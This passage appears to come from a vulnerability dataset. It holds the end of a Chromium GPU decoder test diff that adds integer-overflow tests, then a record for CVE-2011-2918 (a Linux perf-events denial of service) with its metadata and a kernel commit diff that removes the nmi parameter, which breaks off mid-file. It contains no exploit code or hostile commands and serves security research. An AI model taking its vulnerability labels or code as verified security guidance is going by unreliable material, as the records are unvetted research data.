+ .RetiresOnSaturation();
+ EXPECT_CALL(*gl_, BindBuffer(GL_ARRAY_BUFFER, 0))
+ .Times(1)
+ .RetiresOnSaturation();
+ EXPECT_CALL(*gl_, VertexAttribPointer(0, 4, GL_FLOAT, GL_FALSE, 0, NULL))
+ .Times(1)
+ .RetiresOnSaturation();
+ EXPECT_CALL(*gl_, BindBuffer(GL_ARRAY_BUFFER, buffer_id))
+ .Times(1)
+ .RetiresOnSaturation();
+ }
+ }
+
+ void AddExpectationsForSimulatedAttrib0(
+ GLsizei num_vertices, GLuint buffer_id) {
+ AddExpectationsForSimulatedAttrib0WithError(
+ num_vertices, buffer_id, GL_NO_ERROR);
}
};
@@ -125,6 +142,47 @@ TEST_F(GLES2DecoderWithShaderTest, DrawArraysNoAttributesSucceeds) {
EXPECT_EQ(GL_NO_ERROR, GetGLError());
}
+// Tests when the math overflows (0x40000000 * sizeof GLfloat)
+TEST_F(GLES2DecoderWithShaderTest, DrawArraysSimulatedAttrib0OverflowFails) {
+ const GLsizei kLargeCount = 0x40000000;
+ SetupTexture();
+ EXPECT_CALL(*gl_, DrawArrays(_, _, _))
+ .Times(0)
+ .RetiresOnSaturation();
+ DrawArrays cmd;
+ cmd.Init(GL_TRIANGLES, 0, kLargeCount);
+ EXPECT_EQ(error::kNoError, ExecuteCmd(cmd));
+ EXPECT_EQ(GL_OUT_OF_MEMORY, GetGLError());
+}
+
+// Tests when the math overflows (0x7FFFFFFF + 1 = 0x8000000 verts)
+TEST_F(GLES2DecoderWithShaderTest, DrawArraysSimulatedAttrib0PosToNegFails) {
+ const GLsizei kLargeCount = 0x7FFFFFFF;
+ SetupTexture();
+ EXPECT_CALL(*gl_, DrawArrays(_, _, _))
+ .Times(0)
+ .RetiresOnSaturation();
+ DrawArrays cmd;
+ cmd.Init(GL_TRIANGLES, 0, kLargeCount);
+ EXPECT_EQ(error::kNoError, ExecuteCmd(cmd));
+ EXPECT_EQ(GL_OUT_OF_MEMORY, GetGLError());
+}
+
+// Tests when the driver returns an error
+TEST_F(GLES2DecoderWithShaderTest, DrawArraysSimulatedAttrib0OOMFails) {
+ const GLsizei kFakeLargeCount = 0x1234;
+ SetupTexture();
+ AddExpectationsForSimulatedAttrib0WithError(
+ kFakeLargeCount, 0, GL_OUT_OF_MEMORY);
+ EXPECT_CALL(*gl_, DrawArrays(_, _, _))
+ .Times(0)
+ .RetiresOnSaturation();
+ DrawArrays cmd;
+ cmd.Init(GL_TRIANGLES, 0, kFakeLargeCount);
+ EXPECT_EQ(error::kNoError, ExecuteCmd(cmd));
+ EXPECT_EQ(GL_OUT_OF_MEMORY, GetGLError());
+}
+
TEST_F(GLES2DecoderWithShaderTest, DrawArraysBadTextureUsesBlack) {
DoBindTexture(GL_TEXTURE_2D, client_texture_id_, kServiceTextureId);
// This is an NPOT texture. As the default filtering requires mips
|
Chrome
|
c13e1da62b5f5f0e6fe8c1f769a5a28415415244
|
d5ef1b12be4e0492db2af76d7fa18c0994a51e31
| 0
|
ReadPixelsEmulator(GLsizei width, GLsizei height, GLint bytes_per_pixel,
const void* src_pixels, const void* expected_pixels,
GLint pack_alignment)
: width_(width),
height_(height),
pack_alignment_(pack_alignment),
bytes_per_pixel_(bytes_per_pixel),
src_pixels_(reinterpret_cast<const int8*>(src_pixels)),
expected_pixels_(reinterpret_cast<const int8*>(expected_pixels)) {
}
|
25,796
| null |
Local
|
Not required
|
Complete
|
CVE-2011-2918
|
https://www.cvedetails.com/cve/CVE-2011-2918/
|
CWE-399
|
Low
| null | null | null |
2012-05-24
| 4.9
|
The Performance Events subsystem in the Linux kernel before 3.1 does not properly handle event overflows associated with PERF_COUNT_SW_CPU_CLOCK events, which allows local users to cause a denial of service (system hang) via a crafted application.
|
2012-05-29
|
DoS Overflow
| 0
|
https://github.com/torvalds/linux/commit/a8b0ca17b80e92faab46ee7179ba9e99ccb61233
|
a8b0ca17b80e92faab46ee7179ba9e99ccb61233
|
perf: Remove the nmi parameter from the swevent and overflow interface
The nmi parameter indicated if we could do wakeups from the current
context, if not, we would set some state and self-IPI and let the
resulting interrupt do the wakeup.
For the various event classes:
- hardware: nmi=0; PMI is in fact an NMI or we run irq_work_run from
the PMI-tail (ARM etc.)
- tracepoint: nmi=0; since tracepoint could be from NMI context.
- software: nmi=[0,1]; some, like the schedule thing cannot
perform wakeups, and hence need 0.
As one can see, there is very little nmi=1 usage, and the down-side of
not using it is that on some platforms some software events can have a
jiffy delay in wakeup (when arch_irq_work_raise isn't implemented).
The up-side however is that we can remove the nmi parameter and save a
bunch of conditionals in fast paths.
Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl>
Cc: Michael Cree <mcree@orcon.net.nz>
Cc: Will Deacon <will.deacon@arm.com>
Cc: Deng-Cheng Zhu <dengcheng.zhu@gmail.com>
Cc: Anton Blanchard <anton@samba.org>
Cc: Eric B Munson <emunson@mgebm.net>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Paul Mundt <lethal@linux-sh.org>
Cc: David S. Miller <davem@davemloft.net>
Cc: Frederic Weisbecker <fweisbec@gmail.com>
Cc: Jason Wessel <jason.wessel@windriver.com>
Cc: Don Zickus <dzickus@redhat.com>
Link: http://lkml.kernel.org/n/tip-agjev8eu666tvknpb3iaj0fg@git.kernel.org
Signed-off-by: Ingo Molnar <mingo@elte.hu>
| 0
|
arch/x86/kernel/cpu/perf_event.c
|
{"sha": "8e47709160f84962bd6b2744ea6a1a5b9ae49b28", "filename": "arch/alpha/kernel/perf_event.c", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/alpha/kernel/perf_event.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/alpha/kernel/perf_event.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/alpha/kernel/perf_event.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -847,7 +847,7 @@ static void alpha_perf_event_irq_handler(unsigned long la_ptr,\n \tdata.period = event->hw.last_period;\n \n \tif (alpha_perf_event_set_period(event, hwc, idx)) {\n-\t\tif (perf_event_overflow(event, 1, &data, regs)) {\n+\t\tif (perf_event_overflow(event, &data, regs)) {\n \t\t\t/* Interrupts coming too quickly; \"throttle\" the\n \t\t\t * counter, i.e., disable it for a little while.\n \t\t\t */"}<_**next**_>{"sha": "38dc4da1d612d5ee2b83f71fbbcba2615c4bc18c", "filename": "arch/arm/kernel/perf_event_v6.c", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/arm/kernel/perf_event_v6.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/arm/kernel/perf_event_v6.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/arm/kernel/perf_event_v6.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -479,7 +479,7 @@ armv6pmu_handle_irq(int irq_num,\n \t\tif (!armpmu_event_set_period(event, hwc, idx))\n \t\t\tcontinue;\n \n-\t\tif (perf_event_overflow(event, 0, &data, regs))\n+\t\tif (perf_event_overflow(event, &data, regs))\n \t\t\tarmpmu->disable(hwc, idx);\n \t}\n "}<_**next**_>{"sha": "6e5f8752303bedb4684c19cbe73933ea0871a292", "filename": "arch/arm/kernel/perf_event_v7.c", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/arm/kernel/perf_event_v7.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/arm/kernel/perf_event_v7.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/arm/kernel/perf_event_v7.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -787,7 +787,7 @@ static irqreturn_t armv7pmu_handle_irq(int irq_num, void *dev)\n \t\tif (!armpmu_event_set_period(event, hwc, idx))\n \t\t\tcontinue;\n \n-\t\tif (perf_event_overflow(event, 0, &data, regs))\n+\t\tif (perf_event_overflow(event, &data, regs))\n \t\t\tarmpmu->disable(hwc, idx);\n \t}\n "}<_**next**_>{"sha": "99b6b85c7e491ebe97f7cb73a1e130c256171bfc", "filename": "arch/arm/kernel/perf_event_xscale.c", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/arm/kernel/perf_event_xscale.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/arm/kernel/perf_event_xscale.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/arm/kernel/perf_event_xscale.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -251,7 +251,7 @@ xscale1pmu_handle_irq(int irq_num, void *dev)\n \t\tif (!armpmu_event_set_period(event, hwc, idx))\n \t\t\tcontinue;\n \n-\t\tif (perf_event_overflow(event, 0, &data, regs))\n+\t\tif (perf_event_overflow(event, &data, regs))\n \t\t\tarmpmu->disable(hwc, idx);\n \t}\n \n@@ -583,7 +583,7 @@ xscale2pmu_handle_irq(int irq_num, void *dev)\n \t\tif (!armpmu_event_set_period(event, hwc, idx))\n \t\t\tcontinue;\n \n-\t\tif (perf_event_overflow(event, 0, &data, regs))\n+\t\tif (perf_event_overflow(event, &data, regs))\n \t\t\tarmpmu->disable(hwc, idx);\n \t}\n "}<_**next**_>{"sha": "0c9b1054f79003eee74d06d3e273ad68558dce97", "filename": "arch/arm/kernel/ptrace.c", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/arm/kernel/ptrace.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/arm/kernel/ptrace.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/arm/kernel/ptrace.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -396,7 +396,7 @@ static long ptrace_hbp_idx_to_num(int idx)\n /*\n * Handle hitting a HW-breakpoint.\n */\n-static void ptrace_hbptriggered(struct perf_event *bp, int unused,\n+static void ptrace_hbptriggered(struct perf_event *bp,\n \t\t\t\t struct perf_sample_data *data,\n \t\t\t\t struct pt_regs *regs)\n {"}<_**next**_>{"sha": "5f452f8fde0569d140e0d6055220f29be08396f1", "filename": "arch/arm/kernel/swp_emulate.c", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/arm/kernel/swp_emulate.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/arm/kernel/swp_emulate.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/arm/kernel/swp_emulate.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -183,7 +183,7 @@ static int swp_handler(struct pt_regs *regs, unsigned int instr)\n \tunsigned int address, destreg, data, type;\n \tunsigned int res = 0;\n \n-\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS, 1, 0, regs, regs->ARM_pc);\n+\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS, 1, regs, regs->ARM_pc);\n \n \tif (current->pid != previous_pid) {\n \t\tpr_debug(\"\\\"%s\\\" (%ld) uses deprecated SWP{B} instruction\\n\","}<_**next**_>{"sha": "9ea4f7ddd665cdba971c0b6d433dac89fb3aba9a", "filename": "arch/arm/mm/fault.c", "status": "modified", "additions": 3, "deletions": 3, "changes": 6, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/arm/mm/fault.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/arm/mm/fault.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/arm/mm/fault.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -318,11 +318,11 @@ do_page_fault(unsigned long addr, unsigned int fsr, struct pt_regs *regs)\n \tfault = __do_page_fault(mm, addr, fsr, tsk);\n \tup_read(&mm->mmap_sem);\n \n-\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS, 1, 0, regs, addr);\n+\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS, 1, regs, addr);\n \tif (fault & VM_FAULT_MAJOR)\n-\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MAJ, 1, 0, regs, addr);\n+\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MAJ, 1, regs, addr);\n \telse if (fault & VM_FAULT_MINOR)\n-\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MIN, 1, 0, regs, addr);\n+\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MIN, 1, regs, addr);\n \n \t/*\n \t * Handle the \"normal\" case first - VM_FAULT_MAJOR / VM_FAULT_MINOR"}<_**next**_>{"sha": "d0deaab9ace2e670db80844235de55ce157349d7", "filename": "arch/mips/kernel/perf_event.c", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/mips/kernel/perf_event.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/mips/kernel/perf_event.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/mips/kernel/perf_event.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -527,7 +527,7 @@ handle_associated_event(struct cpu_hw_events *cpuc,\n \tif (!mipspmu_event_set_period(event, hwc, idx))\n \t\treturn;\n \n-\tif (perf_event_overflow(event, 0, data, regs))\n+\tif (perf_event_overflow(event, data, regs))\n \t\tmipspmu->disable_event(idx);\n }\n "}<_**next**_>{"sha": "b7517e3abc8527721fdffca5ded64a035d33fddb", "filename": "arch/mips/kernel/traps.c", "status": "modified", "additions": 4, "deletions": 4, "changes": 8, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/mips/kernel/traps.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/mips/kernel/traps.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/mips/kernel/traps.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -578,12 +578,12 @@ static int simulate_llsc(struct pt_regs *regs, unsigned int opcode)\n {\n \tif ((opcode & OPCODE) == LL) {\n \t\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS,\n-\t\t\t\t1, 0, regs, 0);\n+\t\t\t\t1, regs, 0);\n \t\treturn simulate_ll(regs, opcode);\n \t}\n \tif ((opcode & OPCODE) == SC) {\n \t\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS,\n-\t\t\t\t1, 0, regs, 0);\n+\t\t\t\t1, regs, 0);\n \t\treturn simulate_sc(regs, opcode);\n \t}\n \n@@ -602,7 +602,7 @@ static int simulate_rdhwr(struct pt_regs *regs, unsigned int opcode)\n \t\tint rd = (opcode & RD) >> 11;\n \t\tint rt = (opcode & RT) >> 16;\n \t\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS,\n-\t\t\t\t1, 0, regs, 0);\n+\t\t\t\t1, regs, 0);\n \t\tswitch (rd) {\n \t\tcase 0:\t\t/* CPU number */\n \t\t\tregs->regs[rt] = smp_processor_id();\n@@ -640,7 +640,7 @@ static int simulate_sync(struct pt_regs *regs, unsigned int opcode)\n {\n \tif ((opcode & OPCODE) == SPEC0 && (opcode & FUNC) == SYNC) {\n \t\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS,\n-\t\t\t\t1, 0, regs, 0);\n+\t\t\t\t1, regs, 0);\n \t\treturn 0;\n \t}\n "}<_**next**_>{"sha": "eb319b58035377f5305286a587926f1f356ced41", "filename": "arch/mips/kernel/unaligned.c", "status": "modified", "additions": 2, "deletions": 3, "changes": 5, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/mips/kernel/unaligned.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/mips/kernel/unaligned.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/mips/kernel/unaligned.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -111,8 +111,7 @@ static void emulate_load_store_insn(struct pt_regs *regs,\n \tunsigned long value;\n \tunsigned int res;\n \n-\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS,\n-\t\t 1, 0, regs, 0);\n+\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS, 1, regs, 0);\n \n \t/*\n \t * This load never faults.\n@@ -517,7 +516,7 @@ asmlinkage void do_ade(struct pt_regs *regs)\n \tmm_segment_t seg;\n \n \tperf_sw_event(PERF_COUNT_SW_ALIGNMENT_FAULTS,\n-\t\t\t1, 0, regs, regs->cp0_badvaddr);\n+\t\t\t1, regs, regs->cp0_badvaddr);\n \t/*\n \t * Did we catch a fault trying to load an instruction?\n \t * Or are we running in MIPS16 mode?"}<_**next**_>{"sha": "dbf2f93a50911b5914a295a82b3179c36562013f", "filename": "arch/mips/math-emu/cp1emu.c", "status": "modified", "additions": 1, "deletions": 2, "changes": 3, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/mips/math-emu/cp1emu.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/mips/math-emu/cp1emu.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/mips/math-emu/cp1emu.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -272,8 +272,7 @@ static int cop1Emulate(struct pt_regs *xcp, struct mips_fpu_struct *ctx,\n \t}\n \n emul:\n-\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS,\n-\t\t\t1, 0, xcp, 0);\n+\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS, 1, xcp, 0);\n \tMIPS_FPU_EMU_INC_STATS(emulated);\n \tswitch (MIPSInst_OPCODE(ir)) {\n \tcase ldc1_op:{"}<_**next**_>{"sha": "937cf3368164c6f6d4a6db4b1867ca5866a36ed7", "filename": "arch/mips/mm/fault.c", "status": "modified", "additions": 3, "deletions": 5, "changes": 8, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/mips/mm/fault.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/mips/mm/fault.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/mips/mm/fault.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -145,7 +145,7 @@ asmlinkage void __kprobes do_page_fault(struct pt_regs *regs, unsigned long writ\n \t * the fault.\n \t */\n \tfault = handle_mm_fault(mm, vma, address, write ? FAULT_FLAG_WRITE : 0);\n-\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS, 1, 0, regs, address);\n+\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS, 1, regs, address);\n \tif (unlikely(fault & VM_FAULT_ERROR)) {\n \t\tif (fault & VM_FAULT_OOM)\n \t\t\tgoto out_of_memory;\n@@ -154,12 +154,10 @@ asmlinkage void __kprobes do_page_fault(struct pt_regs *regs, unsigned long writ\n \t\tBUG();\n \t}\n \tif (fault & VM_FAULT_MAJOR) {\n-\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MAJ,\n-\t\t\t\t1, 0, regs, address);\n+\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MAJ, 1, regs, address);\n \t\ttsk->maj_flt++;\n \t} else {\n-\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MIN,\n-\t\t\t\t1, 0, regs, address);\n+\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MIN, 1, regs, address);\n \t\ttsk->min_flt++;\n \t}\n "}<_**next**_>{"sha": "2cc41c715d2ba2cfb9783d91bda466c3edac0099", "filename": "arch/powerpc/include/asm/emulated_ops.h", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/powerpc/include/asm/emulated_ops.h", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/powerpc/include/asm/emulated_ops.h", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/powerpc/include/asm/emulated_ops.h?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -78,14 +78,14 @@ extern void ppc_warn_emulated_print(const char *type);\n #define PPC_WARN_EMULATED(type, regs)\t\t\t\t\t\\\n \tdo {\t\t\t\t\t\t\t\t\\\n \t\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS,\t\t\\\n-\t\t\t1, 0, regs, 0);\t\t\t\t\t\\\n+\t\t\t1, regs, 0);\t\t\t\t\t\\\n \t\t__PPC_WARN_EMULATED(type);\t\t\t\t\\\n \t} while (0)\n \n #define PPC_WARN_ALIGNMENT(type, regs)\t\t\t\t\t\\\n \tdo {\t\t\t\t\t\t\t\t\\\n \t\tperf_sw_event(PERF_COUNT_SW_ALIGNMENT_FAULTS,\t\t\\\n-\t\t\t1, 0, regs, regs->dar);\t\t\t\t\\\n+\t\t\t1, regs, regs->dar);\t\t\t\t\\\n \t\t__PPC_WARN_EMULATED(type);\t\t\t\t\\\n \t} while (0)\n "}<_**next**_>{"sha": "14967de9887603c91d10650939a015eb0aa7a2ec", "filename": "arch/powerpc/kernel/perf_event.c", "status": "modified", "additions": 3, "deletions": 3, "changes": 6, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/powerpc/kernel/perf_event.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/powerpc/kernel/perf_event.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/powerpc/kernel/perf_event.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -1207,7 +1207,7 @@ struct pmu power_pmu = {\n * here so there is no possibility of being interrupted.\n */\n static void record_and_restart(struct perf_event *event, unsigned long val,\n-\t\t\t struct pt_regs *regs, int nmi)\n+\t\t\t struct pt_regs *regs)\n {\n \tu64 period = event->hw.sample_period;\n \ts64 prev, delta, left;\n@@ -1258,7 +1258,7 @@ static void record_and_restart(struct perf_event *event, unsigned long val,\n \t\tif (event->attr.sample_type & PERF_SAMPLE_ADDR)\n \t\t\tperf_get_data_addr(regs, &data.addr);\n \n-\t\tif (perf_event_overflow(event, nmi, &data, regs))\n+\t\tif (perf_event_overflow(event, &data, regs))\n \t\t\tpower_pmu_stop(event, 0);\n \t}\n }\n@@ -1346,7 +1346,7 @@ static void perf_event_interrupt(struct pt_regs *regs)\n \t\tif ((int)val < 0) {\n \t\t\t/* event has overflowed */\n \t\t\tfound = 1;\n-\t\t\trecord_and_restart(event, val, regs, nmi);\n+\t\t\trecord_and_restart(event, val, regs);\n \t\t}\n \t}\n "}<_**next**_>{"sha": "0a6d2a9d569cde1e924735dd24147eb90bd84c04", "filename": "arch/powerpc/kernel/perf_event_fsl_emb.c", "status": "modified", "additions": 3, "deletions": 3, "changes": 6, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/powerpc/kernel/perf_event_fsl_emb.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/powerpc/kernel/perf_event_fsl_emb.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/powerpc/kernel/perf_event_fsl_emb.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -568,7 +568,7 @@ static struct pmu fsl_emb_pmu = {\n * here so there is no possibility of being interrupted.\n */\n static void record_and_restart(struct perf_event *event, unsigned long val,\n-\t\t\t struct pt_regs *regs, int nmi)\n+\t\t\t struct pt_regs *regs)\n {\n \tu64 period = event->hw.sample_period;\n \ts64 prev, delta, left;\n@@ -616,7 +616,7 @@ static void record_and_restart(struct perf_event *event, unsigned long val,\n \t\tperf_sample_data_init(&data, 0);\n \t\tdata.period = event->hw.last_period;\n \n-\t\tif (perf_event_overflow(event, nmi, &data, regs))\n+\t\tif (perf_event_overflow(event, &data, regs))\n \t\t\tfsl_emb_pmu_stop(event, 0);\n \t}\n }\n@@ -644,7 +644,7 @@ static void perf_event_interrupt(struct pt_regs *regs)\n \t\t\tif (event) {\n \t\t\t\t/* event has overflowed */\n \t\t\t\tfound = 1;\n-\t\t\t\trecord_and_restart(event, val, regs, nmi);\n+\t\t\t\trecord_and_restart(event, val, regs);\n \t\t\t} else {\n \t\t\t\t/*\n \t\t\t\t * Disabled counter is negative,"}<_**next**_>{"sha": "3177617af2ef4f2d954cb405eac4470f4061353a", "filename": "arch/powerpc/kernel/ptrace.c", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/powerpc/kernel/ptrace.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/powerpc/kernel/ptrace.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/powerpc/kernel/ptrace.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -882,7 +882,7 @@ void user_disable_single_step(struct task_struct *task)\n }\n \n #ifdef CONFIG_HAVE_HW_BREAKPOINT\n-void ptrace_triggered(struct perf_event *bp, int nmi,\n+void ptrace_triggered(struct perf_event *bp,\n \t\t struct perf_sample_data *data, struct pt_regs *regs)\n {\n \tstruct perf_event_attr attr;"}<_**next**_>{"sha": "dbc48254c6cc9e71a7b1b099def4973654a256c0", "filename": "arch/powerpc/mm/fault.c", "status": "modified", "additions": 3, "deletions": 3, "changes": 6, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/powerpc/mm/fault.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/powerpc/mm/fault.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/powerpc/mm/fault.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -173,7 +173,7 @@ int __kprobes do_page_fault(struct pt_regs *regs, unsigned long address,\n \t\tdie(\"Weird page fault\", regs, SIGSEGV);\n \t}\n \n-\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS, 1, 0, regs, address);\n+\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS, 1, regs, address);\n \n \t/* When running in the kernel we expect faults to occur only to\n \t * addresses in user space. All other faults represent errors in the\n@@ -319,7 +319,7 @@ int __kprobes do_page_fault(struct pt_regs *regs, unsigned long address,\n \t}\n \tif (ret & VM_FAULT_MAJOR) {\n \t\tcurrent->maj_flt++;\n-\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MAJ, 1, 0,\n+\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MAJ, 1,\n \t\t\t\t regs, address);\n #ifdef CONFIG_PPC_SMLPAR\n \t\tif (firmware_has_feature(FW_FEATURE_CMO)) {\n@@ -330,7 +330,7 @@ int __kprobes do_page_fault(struct pt_regs *regs, unsigned long address,\n #endif\n \t} else {\n \t\tcurrent->min_flt++;\n-\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MIN, 1, 0,\n+\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MIN, 1,\n \t\t\t\t regs, address);\n \t}\n \tup_read(&mm->mmap_sem);"}<_**next**_>{"sha": "095f782a5512d1c7c8c783e459729286786ef834", "filename": "arch/s390/mm/fault.c", "status": "modified", "additions": 3, "deletions": 3, "changes": 6, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/s390/mm/fault.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/s390/mm/fault.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/s390/mm/fault.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -299,7 +299,7 @@ static inline int do_exception(struct pt_regs *regs, int access,\n \t\tgoto out;\n \n \taddress = trans_exc_code & __FAIL_ADDR_MASK;\n-\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS, 1, 0, regs, 